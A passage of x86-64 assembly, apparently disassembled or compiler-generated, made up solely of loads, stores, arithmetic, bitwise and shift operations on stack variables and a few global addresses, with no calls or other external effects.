mov eax, dword [rsp + 0x2a3c]
mov dword [rsp + 0x2ae8], eax
mov rax, qword [0x14017a100]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4fb0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4e70]
mov word [rcx], ax
movsx eax, byte [rsp + 0x58]
mov rcx, qword [rsp + 0x5340]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140178e75], al
mov rax, qword [0x14017a0a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x940]
sub eax, ecx
mov rcx, qword [rsp + 0x4ee0]
mov word [rcx], ax
lea rax, [rsp + 0x7d]
mov qword [rsp + 0x5488], rax
mov rax, qword [rsp + 0x52d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4f60]
mov byte [rcx], al
lea rax, [rsp + 0x2a98]
mov qword [rsp + 0x5490], rax
mov rax, qword [rsp + 0x4eb0]
movzx ecx, al
mov rax, qword [rsp + 0x5338]
shl rax, cl
mov qword [rsp + 0x4fc0], rax
lea rax, [rsp + 0x51b0]
mov qword [rsp + 0x5498], rax
mov rax, qword [rsp + 0x52e0]
mov rcx, qword [rsp + 0x5240]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x5388]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4f30]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x70]
sar eax, cl
mov rcx, qword [rsp + 0x5108]
mov byte [rcx], al
movsx eax, word [rsp + 0x874]
movsx ecx, word [rsp + 0x8b4]
xor eax, ecx
mov word [0x140178e90], ax
mov rax, qword [rsp + 0x4ee0]
movzx eax, word [rax]
mov word [rsp + 0x94c], ax
mov rax, qword [rsp + 0x5070]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4ff0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x66], al
movzx eax, word [rsp + 0x878]
mov word [rsp + 0x950], ax
mov rax, qword [rsp + 0x5308]
mov ecx, dword [rsp + 0x2ad0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x28cc], eax
mov rax, qword [rsp + 0x4f90]
mov rcx, qword [rsp + 0x4f88]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x50c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ec8]
mov rax, qword [rax]
mov qword [rsp + 0x54a0], rax
mov rax, qword [rsp + 0x50f8]
mov rcx, qword [rsp + 0x50d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2a40], eax
movzx eax, byte [rsp + 0x6f]
mov byte [rsp + 0x84], al
mov rax, qword [rsp + 0x5350]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6e]
sub eax, ecx
mov byte [0x140178e76], al
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x51a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x858], ax
mov rax, qword [rsp + 0x4e90]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4be0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7d], al
movzx eax, word [rsp + 0x928]
mov word [rsp + 0x954], ax
mov rax, qword [rsp + 0x5160]
mov ecx, dword [rsp + 0x28cc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5308]
mov dword [rcx], eax
lea rax, [rsp + 0x4e60]
mov qword [rsp + 0x54a8], rax
mov rax, qword [rsp + 0x53a0]
mov rcx, qword [rsp + 0x50d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
lea rax, [rsp + 0x4f00]
mov qword [rsp + 0x54b0], rax
mov rax, qword [rsp + 0x5010]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x67]
or eax, ecx
mov byte [rsp + 0x70], al
movsx eax, word [rsp + 0x8b0]
mov rcx, qword [rsp + 0x4e38]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x140178eb4], ax
movsx eax, word [rsp + 0x8e4]
mov rcx, qword [rsp + 0x4eb8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5208]
mov word [rcx], ax
mov rax, qword [rsp + 0x5318]
movzx eax, byte [rax]
mov byte [rsp + 0x85], al
mov rax, qword [rsp + 0x4ed0]
movzx eax, word [rax]
mov rcx, qword [0x14017a150]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4c20]
mov word [rcx], ax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x54b8], rax
mov rax, qword [rsp + 0x5038]
mov rcx, qword [rsp + 0x4b98]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2adc], eax
mov rax, qword [rsp + 0x5410]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ce8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x52d8], rax
lea rax, [rsp + 0x52f8]
mov qword [rsp + 0x54c0], rax
mov rax, qword [rsp + 0x4dc8]
mov ecx, dword [rsp + 0x2a60]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x29f0], eax
mov rax, qword [rsp + 0x5028]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e08]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14017a108]
mov word [rcx], ax
lea rax, [rsp + 0x890]
mov qword [rsp + 0x54c8], rax
mov rax, qword [rsp + 0x5318]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x56]
sub eax, ecx
mov byte [rsp + 0x61], al
movzx eax, byte [0x14017a055]
movzx ecx, byte [rsp + 0x6f]
and eax, ecx
mov byte [rsp + 0x83], al
lea rax, [rsp + 0x8d0]
mov qword [rsp + 0x54d0], rax
mov rax, qword [rsp + 0x5188]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x50f0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5078]
mov qword [rcx], rax
lea rax, [rsp + 0x2ad0]
mov qword [rsp + 0x54d8], rax
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a38]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2aa8], eax
mov rax, qword [rsp + 0x5000]
mov rcx, qword [rsp + 0x4ee8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x53b0], rax
lea rax, [rsp + 0x858]
mov qword [0x14017a160], rax
mov rax, qword [rsp + 0x5010]
movzx eax, byte [rax]
mov byte [rsp + 0x86], al
mov rax, qword [rsp + 0x5300]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x54d0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ee0]
mov word [rcx], ax
lea rax, [rsp + 0x5d]
mov qword [rsp + 0x54e0], rax
movzx eax, word [rsp + 0x904]
mov rcx, qword [rsp + 0x5298]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x914], ax
lea rax, [rsp + 0x4f80]
mov qword [rsp + 0x54e8], rax
mov rax, qword [rsp + 0x4ca8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2a84]
shl eax, cl
mov dword [rsp + 0x2ab8], eax
mov rax, qword [rsp + 0x53b0]
mov rcx, qword [rsp + 0x5370]
mov qword [rsp + 0x54f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x54f0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x4b78], rax
mov eax, dword [rsp + 0x2908]
mov dword [rsp + 0x2aec], eax
lea rax, [rsp + 0x89c]
mov qword [0x14017a168], rax
mov rax, qword [rsp + 0x5428]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4c58]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x75], al
lea rax, [rsp + 0x954]
mov qword [rsp + 0x54f8], rax
mov rax, qword [rsp + 0x5440]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x81]
and eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov byte [rcx], al
movsx eax, byte [0x140178e5c]
mov rcx, qword [rsp + 0x4f68]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x62], al
lea rax, [rsp + 0x5228]
mov qword [rsp + 0x5500], rax
mov rax, qword [rsp + 0x5018]
mov rcx, qword [rsp + 0x50f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x29e4], eax
mov eax, dword [rsp + 0x28cc]
mov dword [rsp + 0x2af0], eax
mov rax, qword [rsp + 0x5498]
mov rcx, qword [rsp + 0x5210]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x54b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x54b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5040]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14017a0c0]
mov byte [rcx], al
movzx eax, word [rsp + 0x914]
movzx ecx, word [rsp + 0x888]
sub eax, ecx
mov rcx, qword [rsp + 0x51c8]
mov word [rcx], ax
lea rax, [rsp + 0x874]
mov qword [rsp + 0x5508], rax
mov rax, qword [rsp + 0x5070]
movsx eax, byte [rax]
movsx ecx, byte [0x140178e5c]
and eax, ecx
mov byte [rsp + 0x55], al
movzx eax, word [rsp + 0x88c]
mov word [rsp + 0x958], ax
mov eax, dword [rsp + 0x28f4]
mov ecx, dword [rsp + 0x2ab8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x28ac], eax
mov rax, qword [rsp + 0x4e98]
mov rcx, qword [rsp + 0x5388]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2ab4], eax
lea rax, [rsp + 0x4e40]
mov qword [rsp + 0x5510], rax
mov rax, qword [rsp + 0x52c8]
mov rcx, qword [rsp + 0x5228]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x52c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5040]
movzx eax, byte [rax]
movzx ecx, byte [0x14017a054]
sar eax, cl
mov byte [0x140178e77], al
mov rax, qword [rsp + 0x4f60]
movzx eax, byte [rax]
mov byte [rsp + 0x87], al
movzx eax, word [rsp + 0x93c]
movzx ecx, word [rsp + 0x92c]
shl eax, cl
mov word [rsp + 0x8e0], ax
mov rax, qword [rsp + 0x4e78]
movzx eax, byte [rax]
mov byte [rsp + 0x88], al
movsx eax, word [rsp + 0x8f8]
mov rcx, qword [rsp + 0x4e08]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x54d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x51d8]
mov rcx, qword [rsp + 0x4ce8]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x5088]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2ab8]
mov dword [rsp + 0x2af4], eax
mov eax, dword [rsp + 0x2aac]
mov ecx, dword [rsp + 0x2908]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x28bc], eax
lea rax, [rsp + 0x52f8]
mov qword [rsp + 0x5518], rax
mov rax, qword [rsp + 0x5418]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5070]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x140178e5d], al
movzx eax, word [rsp + 0x8cc]
mov rcx, qword [rsp + 0x51a8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x54c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x51e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8c8]
add eax, ecx
mov rcx, qword [rsp + 0x4ee0]
mov word [rcx], ax
lea rax, [0x140178e77]
mov qword [rsp + 0x5520], rax
mov rax, qword [rsp + 0x5070]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x76]
sub eax, ecx
mov rcx, qword [rsp + 0x5070]
mov byte [rcx], al
lea rax, [rsp + 0x4ea8]
mov qword [rsp + 0x5528], rax
mov rax, qword [rsp + 0x51f8]
mov rcx, qword [rsp + 0x50c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2abc], eax
mov rax, qword [rsp + 0x52a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b78]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5500]
mov qword [rcx], rax
lea rax, [rsp + 0x2ae0]
mov qword [rsp + 0x5530], rax
lea rax, [rsp + 0x84]
mov qword [0x14017a170], rax
movsx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0x4f60]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5318]
mov byte [rcx], al
lea rax, [rsp + 0x85c]
mov qword [rsp + 0x5538], rax
mov rax, qword [rsp + 0x54d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4eb8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x924], ax
movzx eax, word [rsp + 0x928]
mov word [rsp + 0x95c], ax
mov rax, qword [rsp + 0x5270]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4e80]
mov qword [rsp + 0x5540], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5540]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2a50], eax
mov rax, qword [rsp + 0x5078]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5140]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ea0], rax
mov rax, qword [rsp + 0x5220]
mov eax, dword [rax]
mov dword [rsp + 0x2af8], eax
mov rax, qword [rsp + 0x4c28]
mov rcx, qword [rsp + 0x51c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4f90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x54d0]
movzx eax, word [rax]
mov word [rsp + 0x960], ax
mov rax, qword [rsp + 0x5298]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8c4]
sar eax, cl
mov word [0x140178eac], ax
movzx eax, byte [rsp + 0x7d]
mov rcx, qword [rsp + 0x5108]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x70], al
movsx eax, byte [rsp + 0x81]
movsx ecx, byte [rsp + 0x87]
and eax, ecx
mov byte [rsp + 0x80], al
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
mov word [rsp + 0x964], ax
mov rax, qword [rsp + 0x4f00]
mov rcx, qword [rsp + 0x4d68]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5410]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b78]
mov qword [rsp + 0x5548], rax
mov eax, dword [rsp + 0x2a5c]
mov ecx, dword [rsp + 0x2a80]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a6c], eax
mov rax, qword [rsp + 0x5240]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2aac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x28d8], eax
mov rax, qword [0x14017a168]
movzx eax, word [rax]
mov word [rsp + 0x968], ax
lea rax, [rsp + 0x84]
mov qword [0x14017a178], rax
mov rax, qword [rsp + 0x4da0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4cf8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x53a8]
mov byte [rcx], al
mov rax, qword [0x14017a0b8]
movzx eax, byte [rax]
mov byte [rsp + 0x89], al
movzx eax, word [rsp + 0x8d8]
mov rcx, qword [rsp + 0x5298]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x8a8], ax
mov rax, qword [rsp + 0x5448]
mov rcx, qword [rsp + 0x5130]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5258]
mov qword [rcx], rax
mov rax, qword [rsp + 0x52b8]
mov qword [rsp + 0x5550], rax
mov rax, qword [rsp + 0x50d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a38]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a74], eax
mov eax, dword [rsp + 0x2a84]
mov dword [rsp + 0x2afc], eax
movsx eax, byte [rsp + 0x5a]
movsx ecx, byte [0x14017a056]
and eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x72]
movzx ecx, byte [rsp + 0x5f]
or eax, ecx
mov byte [0x140178e5e], al
mov rax, qword [rsp + 0x50e0]
movzx eax, word [rax]
mov word [rsp + 0x96c], ax
mov rax, qword [rsp + 0x4c60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5190]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x920], ax
mov rax, qword [rsp + 0x4d00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8b8]
shl eax, cl
mov word [rsp + 0x8e0], ax
mov eax, dword [rsp + 0x28bc]
mov dword [rsp + 0x2b00], eax
mov eax, dword [0x140178e6c]
mov rcx, qword [rsp + 0x53e0]
mov qword [rsp + 0x5558], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5558]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x5270]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ec8]
mov rax, qword [rax]
mov qword [rsp + 0x5560], rax
mov rax, qword [rsp + 0x4fc0]
mov rcx, qword [rsp + 0x4f78]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5450], rax
mov rax, qword [rsp + 0x50e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x51e0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4e38]
mov word [rcx], ax
lea rax, [rsp + 0x884]
mov qword [0x14017a180], rax
lea rax, [rsp + 0x5d]
mov qword [rsp + 0x5568], rax
mov rax, qword [rsp + 0x4f38]
movzx eax, byte [rax]
mov rcx, qword [0x14017a110]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5040]
mov byte [rcx], al
movzx eax, byte [rsp + 0x84]
mov byte [rsp + 0x8a], al
mov rax, qword [rsp + 0x5478]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4fb0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x54c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x51d8]
mov rcx, qword [rsp + 0x4ea8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5458], rax
mov rax, qword [rsp + 0x5178]
mov qword [rsp + 0x5570], rax
mov rax, qword [rsp + 0x4b80]
mov ecx, dword [rsp + 0x2ae0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5490]
mov eax, dword [rax]
mov dword [rsp + 0x2b04], eax
mov rax, qword [rsp + 0x4f68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5430]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x140178e6a], al
mov rax, qword [rsp + 0x5108]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5488]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x75], al
lea rax, [rsp + 0x8e4]
mov qword [rsp + 0x5578], rax
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5098]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7f], al
mov rax, qword [rsp + 0x51e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x958]
sub eax, ecx
mov word [rsp + 0x8b4], ax
lea rax, [rsp + 0x2a40]
mov qword [rsp + 0x5580], rax
mov rax, qword [rsp + 0x5060]
mov rcx, qword [rsp + 0x5330]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5160]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5050]
mov rax, qword [rax]
mov qword [rsp + 0x5588], rax
mov rax, qword [rsp + 0x5480]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5000]
mov qword [rsp + 0x5590], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5590]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x52e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x50d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5298]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x14017a160]
mov word [rcx], ax
mov rax, qword [rsp + 0x4f98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4d00]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4cd8]
mov word [rcx], ax
mov rax, qword [0x14017a118]
movzx eax, byte [rax]
mov byte [rsp + 0x8b], al
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x68], al
mov rax, qword [rsp + 0x53c8]
movzx eax, byte [rax]
mov byte [rsp + 0x8c], al
mov rax, qword [rsp + 0x52c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4f88]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5000]
mov qword [rcx], rax
mov rax, qword [rsp + 0x52a8]
mov rcx, qword [rsp + 0x4fe8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x29e4]
mov dword [rsp + 0x2b08], eax
mov rax, qword [rsp + 0x5408]
mov rcx, qword [rsp + 0x5330]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x28f4], eax
lea rax, [rsp + 0x948]
mov qword [0x14017a188], rax
lea rax, [rsp + 0x73]
mov qword [rsp + 0x5598], rax
mov rax, qword [rsp + 0x4ed0]
movzx eax, word [rax]
mov rcx, qword [0x14017a160]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4d70]
mov word [rcx], ax
movsx eax, word [rsp + 0x924]
mov rcx, qword [rsp + 0x5048]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x54d0]
mov word [rcx], ax
lea rax, [rsp + 0x7c]
mov qword [rsp + 0x55a0], rax
mov rax, qword [rsp + 0x5580]
mov ecx, dword [0x140178e8c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5038]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5348]
mov qword [rsp + 0x55a8], rax
mov rax, qword [rsp + 0x5328]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a98]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a88], eax
mov rax, qword [rsp + 0x5560]
mov qword [rsp + 0x55b0], rax
movzx eax, word [rsp + 0x904]
mov word [0x14017a190], ax
movsx eax, byte [rsp + 0x62]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5030]
mov byte [rcx], al
mov rax, qword [rsp + 0x5040]
movzx eax, byte [rax]
movzx ecx, byte [0x14017a055]
sub eax, ecx
mov byte [rsp + 0x67], al
mov rax, qword [rsp + 0x4e18]
movzx eax, word [rax]
mov word [rsp + 0x970], ax
movsx eax, byte [rsp + 0x55]
mov rcx, qword [rsp + 0x5340]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4ff0]
mov byte [rcx], al
lea rax, [rsp + 0x28f4]
mov qword [rsp + 0x55b8], rax
mov eax, dword [rsp + 0x2aac]
movzx ecx, al
mov eax, dword [0x14017a064]
shr eax, cl
mov dword [rsp + 0x2a7c], eax
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x5448]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4fd0], rax
lea rax, [rsp + 0x4f88]
mov qword [rsp + 0x55c0], rax
mov rax, qword [rsp + 0x4d28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4be0]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x14017a118]
mov byte [rcx], al
mov rax, qword [rsp + 0x50d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4ed0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x878], ax
lea rax, [rsp + 0x874]
mov qword [rsp + 0x55c8], rax
mov rax, qword [rsp + 0x4ec0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5520]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x50], al
movzx eax, word [rsp + 0x950]
mov rcx, qword [rsp + 0x4fb8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x898], ax
mov rax, qword [rsp + 0x5338]
mov qword [rsp + 0x55d0], rax
mov eax, dword [rsp + 0x28f4]
mov ecx, dword [rsp + 0x2abc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a60], eax
lea rax, [rsp + 0x29e4]
mov qword [rsp + 0x55d8], rax
mov rax, qword [rsp + 0x50a0]
mov rcx, qword [rsp + 0x5008]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5210], rax
mov rax, qword [rsp + 0x54e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x60]
and eax, ecx
mov byte [0x140178e6a], al
mov rax, qword [rsp + 0x5070]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8c]
add eax, ecx
mov byte [rsp + 0x56], al
lea rax, [0x14017a052]
mov qword [rsp + 0x55e0], rax
mov rax, qword [rsp + 0x4cd8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x858]
sub eax, ecx
mov word [rsp + 0x904], ax
lea rax, [rsp + 0x96c]
mov qword [rsp + 0x55e8], rax
mov rax, qword [rsp + 0x5150]
mov rcx, qword [rsp + 0x4b98]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2ab0], eax
mov rax, qword [rsp + 0x5130]
mov qword [rsp + 0x55f0], rax
mov rax, qword [rsp + 0x4e80]
mov ecx, dword [rsp + 0x2a44]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5020]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5360]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5228]
sar rax, cl
mov qword [rsp + 0x53b0], rax
mov rax, qword [rsp + 0x5340]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x62]
shl eax, cl
mov byte [0x140178e8a], al
mov rax, qword [rsp + 0x53d8]
movzx eax, word [rax]
mov word [rsp + 0x974], ax
movzx eax, word [rsp + 0x8e0]
movzx ecx, word [rsp + 0x86c]
or eax, ecx
mov rcx, qword [rsp + 0x5538]
mov word [rcx], ax
mov rax, qword [rsp + 0x54b8]
movzx eax, byte [rax]
mov byte [rsp + 0x8d], al
movsx eax, word [rsp + 0x90c]
mov rcx, qword [rsp + 0x4e38]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x53d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5220]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28bc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a48], eax
lea rax, [rsp + 0x5450]
mov qword [rsp + 0x55f8], rax
mov rax, qword [rsp + 0x5308]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a80]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x28ac], eax
mov rax, qword [rsp + 0x5420]
mov rax, qword [rax]
mov qword [rsp + 0x5600], rax
mov rax, qword [rsp + 0x53c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5030]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5a], al
mov rax, qword [rsp + 0x4ee0]
movsx eax, word [rax]
mov rcx, qword [0x14017a080]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140178ec0], ax
mov rax, qword [rsp + 0x5068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x954]
sub eax, ecx
mov rcx, qword [rsp + 0x54c8]
mov word [rcx], ax
lea rax, [rsp + 0x67]
mov qword [rsp + 0x5608], rax
mov rax, qword [rsp + 0x53a8]
movsx eax, byte [rax]
movsx ecx, byte [0x140178e76]
add eax, ecx
mov rcx, qword [rsp + 0x5568]
mov byte [rcx], al
mov rax, qword [rsp + 0x50c8]
mov rax, qword [rax]
mov qword [rsp + 0x5610], rax
mov rax, qword [rsp + 0x5088]
mov rcx, qword [rsp + 0x5600]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4aa0], rax
lea rax, [rsp + 0x2a7c]
mov qword [rsp + 0x5618], rax
mov rax, qword [rsp + 0x55b8]
mov rcx, qword [rsp + 0x4dc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2a50], eax
mov rax, qword [rsp + 0x5068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x93c]
add eax, ecx
mov word [rsp + 0x878], ax
mov rax, qword [rsp + 0x51e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x944]
add eax, ecx
mov rcx, qword [0x14017a080]
mov word [rcx], ax
lea rax, [rsp + 0x64]
mov qword [rsp + 0x5620], rax
mov rax, qword [rsp + 0x4d00]
movzx eax, word [rax]
